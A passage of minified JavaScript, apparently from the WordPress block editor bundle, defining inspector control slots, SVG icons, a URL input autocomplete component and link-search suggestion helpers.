o.reduce(((e,[t,n])=&gt;(0,d.jsx)(t,{...n,children:e})),r)}function Na({children:e,group:t,label:n}){const{updateBlockAttributes:o}=(0,g.useDispatch)(Ii),{getBlockAttributes:r,getMultiSelectedBlockClientIds:i,getSelectedBlockClientId:s,hasMultiSelection:l}=(0,g.useSelect)(Ii),a=Qi(),c=s(),u=(0,h.useCallback)(((e=[])=&gt;{const t={},n=l()?i():[c];n.forEach((n=&gt;{const{style:o}=r(n);let i={style:o};e.forEach((e=&gt;{i={...i,...e(i)}})),i={...i,style:ms(i.style)},t[n]=i})),o(n,t,!0)}),[r,i,l,c,o]);return(0,d.jsx)(Ss.__experimentalToolsPanel,{className:`${t}-block-support-panel`,label:n,resetAll:u,panelId:c,hasInnerWrapper:!0,shouldRenderPlaceholderItems:!0,__experimentalFirstVisibleItemClass:&quot;first&quot;,__experimentalLastVisibleItemClass:&quot;last&quot;,dropdownMenuProps:a,children:e},c)}function La({Slot:e,fillProps:t,...n}){const o=(0,h.useContext)(Ss.__experimentalToolsPanelContext),r=(0,h.useMemo)((()=&gt;({...t??{},forwardedContext:[...t?.forwardedContext??[],[Ss.__experimentalToolsPanelContext.Provider,{value:o}]]})),[o,t]);return(0,d.jsx)(e,{...n,fillProps:r,bubblesVirtually:!0})}function Da({__experimentalGroup:e,group:t=&quot;default&quot;,label:n,fillProps:o,...r}){e&amp;&amp;(I()(&quot;`__experimentalGroup` property in `InspectorControlsSlot`&quot;,{since:&quot;6.2&quot;,version:&quot;6.4&quot;,alternative:&quot;`group`&quot;}),t=e);const i=Ta[t],s=(0,Ss.__experimentalUseSlotFills)(i?.name);if(!i)return Is()(`Unknown InspectorControls group &quot;${t}&quot; provided.`),null;if(!s?.length)return null;const{Slot:l}=i;return n?(0,d.jsx)(Na,{group:t,label:n,children:(0,d.jsx)(La,{...r,fillProps:o,Slot:l})}):(0,d.jsx)(l,{...r,fillProps:o,bubblesVirtually:!0})}const Oa=Pa;Oa.Slot=Da;const za=e=&gt;(0,d.jsx)(Pa,{...e,group:&quot;advanced&quot;});za.Slot=e=&gt;(0,d.jsx)(Da,{...e,group:&quot;advanced&quot;}),za.slotName=&quot;InspectorAdvancedControls&quot;;var Va=Oa,Fa=(0,d.jsx)(ce.SVG,{xmlns:&quot;http://www.w3.org/2000/svg&quot;,viewBox:&quot;0 0 24 24&quot;,children:(0,d.jsx)(ce.Path,{d:&quot;M7 11.5h10V13H7z&quot;})});const Ha=window.wp.url,Ua=window.wp.dom,Ga=window.wp.blob,$a=window.wp.keycodes;var Wa=(0,d.jsxs)(ce.SVG,{xmlns:&quot;http://www.w3.org/2000/svg&quot;,viewBox:&quot;0 0 24 24&quot;,children:[(0,d.jsx)(ce.Path,{d:&quot;m7 6.5 4 2.5-4 2.5z&quot;}),(0,d.jsx)(ce.Path,{fillRule:&quot;evenodd&quot;,clipRule:&quot;evenodd&quot;,d:&quot;m5 3c-1.10457 0-2 .89543-2 2v14c0 1.1046.89543 2 2 2h14c1.1046 0 2-.8954 2-2v-14c0-1.10457-.8954-2-2-2zm14 1.5h-14c-.27614 0-.5.22386-.5.5v10.7072l3.62953-2.6465c.25108-.1831.58905-.1924.84981-.0234l2.92666 1.8969 3.5712-3.4719c.2911-.2831.7545-.2831 1.0456 0l2.9772 2.8945v-9.3568c0-.27614-.2239-.5-.5-.5zm-14.5 14.5v-1.4364l4.09643-2.987 2.99567 1.9417c.2936.1903.6798.1523.9307-.0917l3.4772-3.3806 3.4772 3.3806.0228-.0234v2.5968c0 .2761-.2239.5-.5.5h-14c-.27614 0-.5-.2239-.5-.5z&quot;})]}),Ka=(0,d.jsx)(ce.SVG,{xmlns:&quot;http://www.w3.org/2000/svg&quot;,viewBox:&quot;0 0 24 24&quot;,children:(0,d.jsx)(ce.Path,{d:&quot;M18.5 15v3.5H13V6.7l4.5 4.1 1-1.1-6.2-5.8-5.8 5.8 1 1.1 4-4v11.7h-6V15H4v5h16v-5z&quot;})}),Za=(0,d.jsx)(ce.SVG,{xmlns:&quot;http://www.w3.org/2000/svg&quot;,viewBox:&quot;0 0 24 24&quot;,children:(0,d.jsx)(ce.Path,{d:&quot;M19 3H5c-.6 0-1 .4-1 1v7c0 .5.4 1 1 1h14c.5 0 1-.4 1-1V4c0-.6-.4-1-1-1zM5.5 10.5v-.4l1.8-1.3 1.3.8c.3.2.7.2.9-.1L11 8.1l2.4 2.4H5.5zm13 0h-2.9l-4-4c-.3-.3-.8-.3-1.1 0L8.9 8l-1.2-.8c-.3-.2-.6-.2-.9 0l-1.3 1V4.5h13v6zM4 20h9v-1.5H4V20zm0-4h16v-1.5H4V16z&quot;})});var qa=(0,Ss.withFilters)(&quot;editor.MediaUpload&quot;)((()=&gt;null));var Ya=function({fallback:e=null,children:t}){const n=(0,g.useSelect)((e=&gt;{const{getSettings:t}=e(Ii);return!!t().mediaUpload}),[]);return n?t:e};const Xa=window.wp.isShallowEqual;var Qa=n.n(Xa),Ja=(0,d.jsx)(ce.SVG,{xmlns:&quot;http://www.w3.org/2000/svg&quot;,viewBox:&quot;0 0 24 24&quot;,children:(0,d.jsx)(ce.Path,{d:&quot;M17.031 4.703 15.576 4l-1.56 3H14v.03l-2.324 4.47H9.5V13h1.396l-1.502 2.889h-.95a3.694 3.694 0 0 1 0-7.389H10V7H8.444a5.194 5.194 0 1 0 0 10.389h.17L7.5 19.53l1.416.719L15.049 8.5h.507a3.694 3.694 0 0 1 0 7.39H14v1.5h1.556a5.194 5.194 0 0 0 .273-10.383l1.202-2.304Z&quot;})}),ec=(0,d.jsx)(ce.SVG,{xmlns:&quot;http://www.w3.org/2000/svg&quot;,viewBox:&quot;0 0 24 24&quot;,children:(0,d.jsx)(ce.Path,{d:&quot;m6.734 16.106 2.176-2.38-1.093-1.028-3.846 4.158 3.846 4.158 1.093-1.028-2.176-2.38h2.811c1.125 0 2.25.03 3.374 0 1.428-.001 3.362-.25 4.963-1.277 1.66-1.065 2.868-2.906 2.868-5.859 0-2.479-1.327-4.896-3.65-5.93-1.82-.813-3.044-.8-4.806-.788l-.567.002v1.5c.184 0 .368 0 .553-.002 1.82-.007 2.704-.014 4.21.657 1.854.827 2.76 2.657 2.76 4.561 0 2.472-.973 3.824-2.178 4.596-1.258.807-2.864 1.04-4.163 1.04h-.02c-1.115.03-2.229 0-3.344 0H6.734Z&quot;})}),tc=(0,d.jsx)(ce.SVG,{xmlns:&quot;http://www.w3.org/2000/svg&quot;,viewBox:&quot;0 0 24 24&quot;,children:(0,d.jsx)(ce.Path,{d:&quot;m13.1 16-3.4-4 3.4-4 1.1 1-2.6 3 2.6 3-1.1 1z&quot;})}),nc=(0,d.jsx)(ce.SVG,{xmlns:&quot;http://www.w3.org/2000/svg&quot;,viewBox:&quot;0 0 24 24&quot;,children:(0,d.jsx)(ce.Path,{d:&quot;M10.8622 8.04053L14.2805 12.0286L10.8622 16.0167L9.72327 15.0405L12.3049 12.0286L9.72327 9.01672L10.8622 8.04053Z&quot;})});var oc=function e({children:t,settingsOpen:n,setSettingsOpen:o}){const r=(0,m.useReducedMotion)(),i=r?h.Fragment:Ss.__unstableAnimatePresence,s=r?&quot;div&quot;:Ss.__unstableMotion.div,l=`link-control-settings-drawer-${(0,m.useInstanceId)(e)}`;return(0,d.jsxs)(d.Fragment,{children:[(0,d.jsx)(Ss.Button,{__next40pxDefaultSize:!0,className:&quot;block-editor-link-control__drawer-toggle&quot;,&quot;aria-expanded&quot;:n,onClick:()=&gt;o(!n),icon:(0,T.isRTL)()?tc:nc,&quot;aria-controls&quot;:l,children:(0,T._x)(&quot;Advanced&quot;,&quot;Additional link settings&quot;)}),(0,d.jsx)(i,{children:n&amp;&amp;(0,d.jsx)(s,{className:&quot;block-editor-link-control__drawer&quot;,hidden:!n,id:l,initial:&quot;collapsed&quot;,animate:&quot;open&quot;,exit:&quot;collapsed&quot;,variants:{open:{opacity:1,height:&quot;auto&quot;},collapsed:{opacity:0,height:0}},transition:{duration:.1},children:(0,d.jsx)(&quot;div&quot;,{className:&quot;block-editor-link-control__drawer-inner&quot;,children:t})})})]})},rc=n(1609);function ic(e){return&quot;function&quot;==typeof e}class sc extends h.Component{constructor(e){super(e),this.onChange=this.onChange.bind(this),this.onFocus=this.onFocus.bind(this),this.onKeyDown=this.onKeyDown.bind(this),this.selectLink=this.selectLink.bind(this),this.handleOnClick=this.handleOnClick.bind(this),this.bindSuggestionNode=this.bindSuggestionNode.bind(this),this.autocompleteRef=e.autocompleteRef||(0,h.createRef)(),this.inputRef=e.inputRef||(0,h.createRef)(),this.updateSuggestions=(0,m.debounce)(this.updateSuggestions.bind(this),200),this.suggestionNodes=[],this.suggestionsRequest=null,this.state={suggestions:[],showSuggestions:!1,suggestionsValue:null,selectedSuggestion:null,suggestionsListboxId:&quot;&quot;,suggestionOptionIdPrefix:&quot;&quot;}}componentDidUpdate(e){const{showSuggestions:t,selectedSuggestion:n}=this.state,{value:o,__experimentalShowInitialSuggestions:r=!1}=this.props;t&amp;&amp;null!==n&amp;&amp;this.suggestionNodes[n]&amp;&amp;this.suggestionNodes[n].scrollIntoView({behavior:&quot;instant&quot;,block:&quot;nearest&quot;,inline:&quot;nearest&quot;}),e.value===o||this.props.disableSuggestions||(o?.length?this.updateSuggestions(o):r&amp;&amp;this.updateSuggestions())}componentDidMount(){this.shouldShowInitialSuggestions()&amp;&amp;this.updateSuggestions()}componentWillUnmount(){this.suggestionsRequest?.cancel?.(),this.suggestionsRequest=null}bindSuggestionNode(e){return t=&gt;{this.suggestionNodes[e]=t}}shouldShowInitialSuggestions(){const{__experimentalShowInitialSuggestions:e=!1,value:t}=this.props;return e&amp;&amp;!(t&amp;&amp;t.length)}updateSuggestions(e=&quot;&quot;){const{__experimentalFetchLinkSuggestions:t,__experimentalHandleURLSuggestions:n}=this.props;if(!t)return;const o=!e?.length;if(e=e.trim(),!o&amp;&amp;(e.length&lt;2||!n&amp;&amp;(0,Ha.isURL)(e)))return this.suggestionsRequest?.cancel?.(),this.suggestionsRequest=null,void this.setState({suggestions:[],showSuggestions:!1,suggestionsValue:e,selectedSuggestion:null,loading:!1});this.setState({selectedSuggestion:null,loading:!0});const r=t(e,{isInitialSuggestions:o});r.then((t=&gt;{this.suggestionsRequest===r&amp;&amp;(this.setState({suggestions:t,suggestionsValue:e,loading:!1,showSuggestions:!!t.length}),t.length?this.props.debouncedSpeak((0,T.sprintf)((0,T._n)(&quot;%d result found, use up and down arrow keys to navigate.&quot;,&quot;%d results found, use up and down arrow keys to navigate.&quot;,t.length),t.length),&quot;assertive&quot;):this.props.debouncedSpeak((0,T.__)(&quot;No results.&quot;),&quot;assertive&quot;))})).catch((()=&gt;{this.suggestionsRequest===r&amp;&amp;this.setState({loading:!1})})).finally((()=&gt;{this.suggestionsRequest===r&amp;&amp;(this.suggestionsRequest=null)})),this.suggestionsRequest=r}onChange(e){this.props.onChange(e)}onFocus(){const{suggestions:e}=this.state,{disableSuggestions:t,value:n}=this.props;!n||t||e&amp;&amp;e.length||null!==this.suggestionsRequest||this.updateSuggestions(n)}onKeyDown(e){this.props.onKeyDown?.(e);const{showSuggestions:t,selectedSuggestion:n,suggestions:o,loading:r}=this.state;if(!t||!o.length||r){switch(e.keyCode){case $a.UP:0!==e.target.selectionStart&amp;&amp;(e.preventDefault(),e.target.setSelectionRange(0,0));break;case $a.DOWN:this.props.value.length!==e.target.selectionStart&amp;&amp;(e.preventDefault(),e.target.setSelectionRange(this.props.value.length,this.props.value.length));break;case $a.ENTER:this.props.onSubmit&amp;&amp;(e.preventDefault(),this.props.onSubmit(null,e))}return}const i=this.state.suggestions[this.state.selectedSuggestion];switch(e.keyCode){case $a.UP:{e.preventDefault();const t=n?n-1:o.length-1;this.setState({selectedSuggestion:t});break}case $a.DOWN:{e.preventDefault();const t=null===n||n===o.length-1?0:n+1;this.setState({selectedSuggestion:t});break}case $a.TAB:null!==this.state.selectedSuggestion&amp;&amp;(this.selectLink(i),this.props.speak((0,T.__)(&quot;Link selected.&quot;)));break;case $a.ENTER:e.preventDefault(),null!==this.state.selectedSuggestion?(this.selectLink(i),this.props.onSubmit&amp;&amp;this.props.onSubmit(i,e)):this.props.onSubmit&amp;&amp;this.props.onSubmit(null,e)}}selectLink(e){this.props.onChange(e.url,e),this.setState({selectedSuggestion:null,showSuggestions:!1})}handleOnClick(e){this.selectLink(e),this.inputRef.current.focus()}static getDerivedStateFromProps({value:e,instanceId:t,disableSuggestions:n,__experimentalShowInitialSuggestions:o=!1},{showSuggestions:r}){let i=r;const s=e&amp;&amp;e.length;return o||s||(i=!1),!0===n&amp;&amp;(i=!1),{showSuggestions:i,suggestionsListboxId:`block-editor-url-input-suggestions-${t}`,suggestionOptionIdPrefix:`block-editor-url-input-suggestion-${t}`}}render(){return(0,d.jsxs)(d.Fragment,{children:[this.renderControl(),this.renderSuggestions()]})}renderControl(){const{label:e=null,className:t,isFullWidth:n,instanceId:o,placeholder:r=(0,T.__)(&quot;Paste URL or type to search&quot;),__experimentalRenderControl:i,value:s=&quot;&quot;,hideLabelFromVision:l=!1,help:a=null,disabled:c=!1}=this.props,{loading:u,showSuggestions:p,selectedSuggestion:h,suggestionsListboxId:g,suggestionOptionIdPrefix:m}=this.state,f=`url-input-control-${o}`,b={id:f,label:e,className:gs(&quot;block-editor-url-input&quot;,t,{&quot;is-full-width&quot;:n}),hideLabelFromVision:l},k={id:f,value:s,required:!0,type:&quot;text&quot;,onChange:c?()=&gt;{}:this.onChange,onFocus:c?()=&gt;{}:this.onFocus,placeholder:r,onKeyDown:c?()=&gt;{}:this.onKeyDown,role:&quot;combobox&quot;,&quot;aria-label&quot;:e?void 0:(0,T.__)(&quot;URL&quot;),&quot;aria-expanded&quot;:p,&quot;aria-autocomplete&quot;:&quot;list&quot;,&quot;aria-owns&quot;:g,&quot;aria-activedescendant&quot;:null!==h?`${m}-${h}`:void 0,ref:this.inputRef,disabled:c,suffix:this.props.suffix,help:a};return i?i(b,k,u):(0,d.jsxs)(Ss.BaseControl,{__nextHasNoMarginBottom:!0,...b,children:[(0,d.jsx)(Ss.__experimentalInputControl,{...k,__next40pxDefaultSize:!0}),u&amp;&amp;(0,d.jsx)(Ss.Spinner,{})]})}renderSuggestions(){const{className:e,__experimentalRenderSuggestions:t}=this.props,{showSuggestions:n,suggestions:o,suggestionsValue:r,selectedSuggestion:i,suggestionsListboxId:s,suggestionOptionIdPrefix:l,loading:a}=this.state;if(!n||0===o.length)return null;const c={id:s,ref:this.autocompleteRef,role:&quot;listbox&quot;},u=(e,t)=&gt;({role:&quot;option&quot;,tabIndex:&quot;-1&quot;,id:`${l}-${t}`,ref:this.bindSuggestionNode(t),&quot;aria-selected&quot;:t===i||void 0});return ic(t)?t({suggestions:o,selectedSuggestion:i,suggestionsListProps:c,buildSuggestionItemProps:u,isLoading:a,handleSuggestionClick:this.handleOnClick,isInitialSuggestions:!r?.length,currentInputValue:r}):(0,d.jsx)(Ss.Popover,{placement:&quot;bottom&quot;,focusOnMount:!1,children:(0,d.jsx)(&quot;div&quot;,{...c,className:gs(&quot;block-editor-url-input__suggestions&quot;,{[`${e}__suggestions`]:e}),children:o.map(((e,t)=&gt;(0,rc.createElement)(Ss.Button,{__next40pxDefaultSize:!0,...u(0,t),key:e.id,className:gs(&quot;block-editor-url-input__suggestion&quot;,{&quot;is-selected&quot;:t===i}),onClick:()=&gt;this.handleOnClick(e)},e.title)))})})}}var lc=(0,m.compose)(m.withSafeTimeout,Ss.withSpokenMessages,m.withInstanceId,(0,g.withSelect)(((e,t)=&gt;{if(ic(t.__experimentalFetchLinkSuggestions))return;const{getSettings:n}=e(Ii);return{__experimentalFetchLinkSuggestions:n().__experimentalFetchLinkSuggestions}})))(sc),ac=(0,d.jsx)(ce.SVG,{xmlns:&quot;http://www.w3.org/2000/svg&quot;,viewBox:&quot;0 0 24 24&quot;,children:(0,d.jsx)(ce.Path,{d:&quot;M11 12.5V17.5H12.5V12.5H17.5V11H12.5V6H11V11H6V12.5H11Z&quot;})});var cc=({searchTerm:e,onClick:t,itemProps:n,buttonText:o})=&gt;{if(!e)return null;let r;return r=o?&quot;function&quot;==typeof o?o(e):o:(0,h.createInterpolateElement)((0,T.sprintf)((0,T.__)(&quot;Create: &lt;mark&gt;%s&lt;/mark&gt;&quot;),e),{mark:(0,d.jsx)(&quot;mark&quot;,{})}),(0,d.jsx)(Ss.MenuItem,{...n,iconPosition:&quot;left&quot;,icon:ac,className:&quot;block-editor-link-control__search-item&quot;,onClick:t,children:r})},uc=(0,d.jsx)(ce.SVG,{viewBox:&quot;0 0 24 24&quot;,xmlns:&quot;http://www.w3.org/2000/svg&quot;,children:(0,d.jsx)(ce.Path,{d:&quot;M18 5.5H6a.5.5 0 0 0-.5.5v12a.5.5 0 0 0 .5.5h12a.5.5 0 0 0 .5-.5V6a.5.5 0 0 0-.5-.5ZM6 4h12a2 2 0 0 1 2 2v12a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V6a2 2 0 0 1 2-2Zm1 5h1.5v1.5H7V9Zm1.5 4.5H7V15h1.5v-1.5ZM10 9h7v1.5h-7V9Zm7 4.5h-7V15h7v-1.5Z&quot;})}),dc=(0,d.jsxs)(ce.SVG,{xmlns:&quot;http://www.w3.org/2000/svg&quot;,viewBox:&quot;0 0 24 24&quot;,children:[(0,d.jsx)(ce.Path,{d:&quot;M15.5 7.5h-7V9h7V7.5Zm-7 3.5h7v1.5h-7V11Zm7 3.5h-7V16h7v-1.5Z&quot;}),(0,d.jsx)(ce.Path,{d:&quot;M17 4H7a2 2 0 0 0-2 2v12a2 2 0 0 0 2 2h10a2 2 0 0 0 2-2V6a2 2 0 0 0-2-2ZM7 5.5h10a.5.5 0 0 1 .5.5v12a.5.5 0 0 1-.5.5H7a.5.5 0 0 1-.5-.5V6a.5.5 0 0 1 .5-.5Z&quot;})]}),pc=(0,d.jsx)(ce.SVG,{xmlns:&quot;http://www.w3.org/2000/svg&quot;,viewBox:&quot;0 0 24 24&quot;,children:(0,d.jsx)(ce.Path,{d:&quot;M4.75 4a.75.75 0 0 0-.75.75v7.826c0 .2.08.39.22.53l6.72 6.716a2.313 2.313 0 0 0 3.276-.001l5.61-5.611-.531-.53.532.528a2.315 2.315 0 0 0 0-3.264L13.104 4.22a.75.75 0 0 0-.53-.22H4.75ZM19 12.576a.815.815 0 0 1-.236.574l-5.61 5.611a.814.814 0 0 1-1.153 0L5.5 12.264V5.5h6.763l6.5 6.502a.816.816 0 0 1 .237.574ZM8.75 9.75a1 1 0 1 0 0-2 1 1 0 0 0 0 2Z&quot;})}),hc=(0,d.jsx)(ce.SVG,{viewBox:&quot;0 0 24 24&quot;,xmlns:&quot;http://www.w3.org/2000/svg&quot;,children:(0,d.jsx)(ce.Path,{d:&quot;M6 5.5h3a.5.5 0 01.5.5v3a.5.5 0 01-.5.5H6a.5.5 0 01-.5-.5V6a.5.5 0 01.5-.5zM4 6a2 2 0 012-2h3a2 2 0 012 2v3a2 2 0 01-2 2H6a2 2 0 01-2-2V6zm11-.5h3a.5.5 0 01.5.5v3a.5.5 0 01-.5.5h-3a.5.5 0 01-.5-.5V6a.5.5 0 01.5-.5zM13 6a2 2 0 012-2h3a2 2 0 012 2v3a2 2 0 01-2 2h-3a2 2 0 01-2-2V6zm5 8.5h-3a.5.5 0 00-.5.5v3a.5.5 0 00.5.5h3a.5.5 0 00.5-.5v-3a.5.5 0 00-.5-.5zM15 13a2 2 0 00-2 2v3a2 2 0 002 2h3a2 2 0 002-2v-3a2 2 0 00-2-2h-3zm-9 1.5h3a.5.5 0 01.5.5v3a.5.5 0 01-.5.5H6a.5.5 0 01-.5-.5v-3a.5.5 0 01.5-.5zM4 15a2 2 0 012-2h3a2 2 0 012 2v3a2 2 0 01-2 2H6a2 2 0 01-2-2v-3z&quot;,fillRule:&quot;evenodd&quot;,clipRule:&quot;evenodd&quot;})}),gc=(0,d.jsx)(ce.SVG,{viewBox:&quot;0 0 24 24&quot;,xmlns:&quot;http://www.w3.org/2000/svg&quot;,children:(0,d.jsx)(ce.Path,{fillRule:&quot;evenodd&quot;,clipRule:&quot;evenodd&quot;,d:&quot;M12.848 8a1 1 0 0 1-.914-.594l-.723-1.63a.5.5 0 0 0-.447-.276H5a.5.5 0 0 0-.5.5v11.5a.5.5 0 0 0 .5.5h14a.5.5 0 0 0 .5-.5v-9A.5.5 0 0 0 19 8h-6.152Zm.612-1.5a.5.5 0 0 1-.462-.31l-.445-1.084A2 2 0 0 0 10.763 4H5a2 2 0 0 0-2 2v11.5a2 2 0 0 0 2 2h14a2 2 0 0 0 2-2v-9a2 2 0 0 0-2-2h-5.54Z&quot;})}),mc=(0,d.jsx)(ce.SVG,{xmlns:&quot;http://www.w3.org/2000/svg&quot;,viewBox:&quot;0 0 24 24&quot;,children:(0,d.jsx)(ce.Path,{d:&quot;M12 4c-4.4 0-8 3.6-8 8s3.6 8 8 8 8-3.6 8-8-3.6-8-8-8Zm6.5 8c0 .6 0 1.2-.2 1.8h-2.7c0-.6.2-1.1.2-1.8s0-1.2-.2-1.8h2.7c.2.6.2 1.1.2 1.8Zm-.9-3.2h-2.4c-.3-.9-.7-1.8-1.1-2.4-.1-.2-.2-.4-.3-.5 1.6.5 3 1.6 3.8 3ZM12.8 17c-.3.5-.6 1-.8 1.3-.2-.3-.5-.8-.8-1.3-.3-.5-.6-1.1-.8-1.7h3.3c-.2.6-.5 1.2-.8 1.7Zm-2.9-3.2c-.1-.6-.2-1.1-.2-1.8s0-1.2.2-1.8H14c.1.6.2 1.1.2 1.8s0 1.2-.2 1.8H9.9ZM11.2 7c.3-.5.6-1 .8-1.3.2.3.5.8.8 1.3.3.5.6 1.1.8 1.7h-3.3c.2-.6.5-1.2.8-1.7Zm-1-1.2c-.1.2-.2.3-.3.5-.4.7-.8 1.5-1.1 2.4H6.4c.8-1.4 2.2-2.5 3.8-3Zm-1.8 8H5.7c-.2-.6-.2-1.1-.2-1.8s0-1.2.2-1.8h2.7c0 .6-.2 1.1-.2 1.8s0 1.2.2 1.8Zm-2 1.4h2.4c.3.9.7 1.8 1.1 2.4.1.2.2.4.3.5-1.6-.5-3-1.6-3.8-3Zm7.4 3c.1-.2.2-.3.3-.5.4-.7.8-1.5 1.1-2.4h2.4c-.8 1.4-2.2 2.5-3.8 3Z&quot;})}),fc=(0,d.jsx)(ce.SVG,{xmlns:&quot;http://www.w3.org/2000/svg&quot;,viewBox:&quot;0 0 24 24&quot;,children:(0,d.jsx)(ce.Path,{d:&quot;M12 4L4 7.9V20h16V7.9L12 4zm6.5 14.5H14V13h-4v5.5H5.5V8.8L12 5.7l6.5 3.1v9.7z&quot;})}),bc=(0,d.jsx)(ce.SVG,{viewBox:&quot;0 0 24 24&quot;,xmlns:&quot;http://www.w3.org/2000/svg&quot;,children:(0,d.jsx)(ce.Path,{d:&quot;M17.8 2l-.9.3c-.1 0-3.6 1-5.2 2.1C10 5.5 9.3 6.5 8.9 7.1c-.6.9-1.7 4.7-1.7 6.3l-.9 2.3c-.2.4 0 .8.4 1 .1 0 .2.1.3.1.3 0 .6-.2.7-.5l.6-1.5c.3 0 .7-.1 1.2-.2.7-.1 1.4-.3 2.2-.5.8-.2 1.6-.5 2.4-.8.7-.3 1.4-.7 1.9-1.2s.8-1.2 1-1.9c.2-.7.3-1.6.4-2.4.1-.8.1-1.7.2-2.5 0-.8.1-1.5.2-2.1V2zm-1.9 5.6c-.1.8-.2 1.5-.3 2.1-.2.6-.4 1-.6 1.3-.3.3-.8.6-1.4.9-.7.3-1.4.5-2.2.8-.6.2-1.3.3-1.8.4L15 7.5c.3-.3.6-.7 1-1.1 0 .4 0 .8-.1 1.2zM6 20h8v-1.5H6V20z&quot;})});const kc={post:{icon:uc,label:(0,T.__)(&quot;Post&quot;)},page:{icon:dc,label:(0,T.__)(&quot;Page&quot;)},post_tag:{icon:pc,label:(0,T.__)(&quot;Tag&quot;)},category:{icon:hc,label:(0,T.__)(&quot;Category&quot;)},attachment:{icon:gc,label:(0,T.__)(&quot;Attachment&quot;)}};function vc({isURL:e,suggestion:t}){let n=null;return e?n=mc:t.type in kc&amp;&amp;(n=kc[t.type].icon,&quot;page&quot;===t.type&amp;&amp;(t.isFrontPage&amp;&amp;(n=fc),t.isBlogHome&amp;&amp;(n=bc))),n?(0,d.jsx)(Dl,{className:&quot;block-editor-link-control__search-item-icon&quot;,icon:n}):null}function _c(e){const t=e?.trim();return t?.length?e?.replace(/^\/?/,&quot;/&quot;):e}function yc(e){const t=e?.trim();return t?.length?e?.replace(/\/$/,&quot;&quot;):e}const xc=({itemProps:e,suggestion:t,searchTerm:n,onClick:o,isURL:r=!1,shouldShowType:i=!1})=&gt;{const s=r?(0,T.__)(&quot;Press ENTER to add this link&quot;):(l=t.url)?(0,m.pipe)(Ha.safeDecodeURI,Ha.getPath,(e=&gt;t=&gt;null==t||t!=t?e:t)(&quot;&quot;),((e,...t)=&gt;(...n)=&gt;e(...n,...t))(Ha.filterURLForDisplay,24),yc,_c)(l):l;var l;return(0,d.jsx)(Ss.MenuItem,{...e,info:s,iconPosition:&quot;left&quot;,icon:(0,d.jsx)(vc,{suggestion:t,isURL:r}),onClick:o,shortcut:i&amp;&amp;Sc(t),className:&quot;block-editor-link-control__search-item&quot;,children:(0,d.jsx)(Ss.TextHighlight,{text:(0,Ua.__unstableStripHTML)(t.title),highlight:n})})};function Sc(e){return e.isFrontPage?(0,T.__)(&quot;Front page&quot;):e.isBlogHome?(0,T.__)(&quot;Blog home&quot;):e.type in kc?kc[e.type].label:e.type}var wc=xc;const Cc=e=&gt;(I()(&quot;wp.blockEditor.__experimentalLinkControlSearchItem&quot;,{since:&quot;6.8&quot;}),(0,d.jsx)(xc,{...e})),Bc=&quot;__CREATE__&quot;,Ic=&quot;link&quot;,jc=&quot;mailto&quot;,Ec=&quot;internal&quot;,Tc=[Ic,jc,&quot;tel&quot;,Ec],Mc=[{id:&quot;opensInNewTab&quot;,title:(0,T.__)(&quot;Open in new tab&quot;)}];function Pc({withCreateSuggestion:e,currentInputValue:t,handleSuggestionClick:n,suggestionsListProps:o,buildSuggestionItemProps:r,suggestions:i,selectedSuggestion:s,isLoading:l,isInitialSuggestions:a,createSuggestionButtonText:c,suggestionsQuery:u}){const p=gs(&quot;block-editor-link-control__search-results&quot;,{&quot;is-loading&quot;:l}),h=1===i.length&amp;&amp;Tc.includes(i[0].type),g=e&amp;&amp;!h&amp;&amp;!a,m=!u?.type,f=a?(0,T.__)(&quot;Suggestions&quot;):(0,T.sprintf)((0,T.__)(&#039;Search results for &quot;%s&quot;&#039;),t);return(0,d.jsx)(&quot;div&quot;,{className:&quot;block-editor-link-control__search-results-wrapper&quot;,children:(0,d.jsx)(&quot;div&quot;,{...o,className:p,&quot;aria-label&quot;:f,children:(0,d.jsx)(Ss.MenuGroup,{children:i.map(((e,o)=&gt;g&amp;&amp;Bc===e.type?(0,d.jsx)(cc,{searchTerm:t,buttonText:c,onClick:()=&gt;n(e),itemProps:r(e,o),isSelected:o===s},e.type):Bc===e.type?null:(0,d.jsx)(wc,{itemProps:r(e,o),suggestion:e,index:o,onClick:()=&gt;{n(e)},isSelected:o===s,isURL:Tc.includes(e.type),searchTerm:t,shouldShowType:m,isFrontPage:e?.isFrontPage,isBlogHome:e?.isBlogHome},`${e.id}-${e.type}`)))})})})}var Rc=Pc;const Ac=e=&gt;(I()(&quot;wp.blockEditor.__experimentalLinkControlSearchResults&quot;,{since:&quot;6.8&quot;}),(0,d.jsx)(Pc,{...e}));function Nc(e){if(e.includes(&quot; &quot;))return!1;const t=(0,Ha.getProtocol)(e),n=(0,Ha.isValidProtocol)(t),o=function(e,t=6){const n=e.split(/[?#]/)[0];return new RegExp(`(?&lt;=\\S)\\.(?:[a-zA-Z_]{2,${t}})(?:\\/|$)`).test(n)}(e),r=e?.startsWith(&quot;www.&quot;),i=e?.startsWith(&quot;#&quot;)&amp;&amp;(0,Ha.isValidFragment)(e);return n||r||i||o}const Lc=()=&gt;Promise.resolve([]),Dc=e=&gt;{let t=Ic;const n=(0,Ha.getProtocol)(e)||&quot;&quot;;return n.includes(&quot;mailto&quot;)&amp;&amp;(t=jc),n.includes(&quot;tel&quot;)&amp;&amp;(t=&quot;tel&quot;),e?.startsWith(&quot;#&quot;)&amp;&amp;(t=Ec),Promise.resolve([{id:e,title:e,url:&quot;URL&quot;===t?(0,Ha.prependHTTP)(e):e,type:t}])};function Oc(e,t,n){const{fetchSearchSuggestions:o,pageOnFront:r,pageForPosts:i}=(0,g.useSelect)((e=&gt;{const{getSettings:t}=e(Ii);return{pageOnFront:t().pageOnFront,pageForPosts:t().pageForPosts,fetchSearchSuggestions:t().__experimentalFetchLinkSuggestions}}),[]),s=t?Dc:Lc;return(0,h.useCallback)(((t,{isInitialSuggestions:l})=&gt;Nc(t)?s(t,{isInitialSuggestions:l}):(async(e,t,n,o,r,i)=&gt;{const{isInitialSuggestions:s}=t,l=await n(e,t);return l.map((e=&gt;Number(e.id)===r?(e.isFrontPage=!0,e):Number(e.id)===i?(e.isBlogHome=!0,e):e)),s||Nc(e)||!o?l:l.concat({title:e,url:e,type:Bc})})(t,{...e,isInitialSuggestions:l},o,n,r,i)),[s,o,r,i,e,n])}const 